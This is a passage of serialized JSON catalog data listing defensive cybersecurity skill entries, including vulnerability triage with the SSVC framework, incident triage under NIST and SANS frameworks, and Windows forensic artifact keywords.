kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":220,"name":221,"nameZh":6,"description":222,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":223,"categories":224,"keywords":226,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[225],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[227,43,228,38,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244],"vulnerabilities","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":246,"name":247,"nameZh":6,"description":248,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":249,"categories":250,"keywords":252,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[251],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[30,253,38,254,255,256,257,258,259,260,261,33,262,189,263,264,265,266,267,268],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]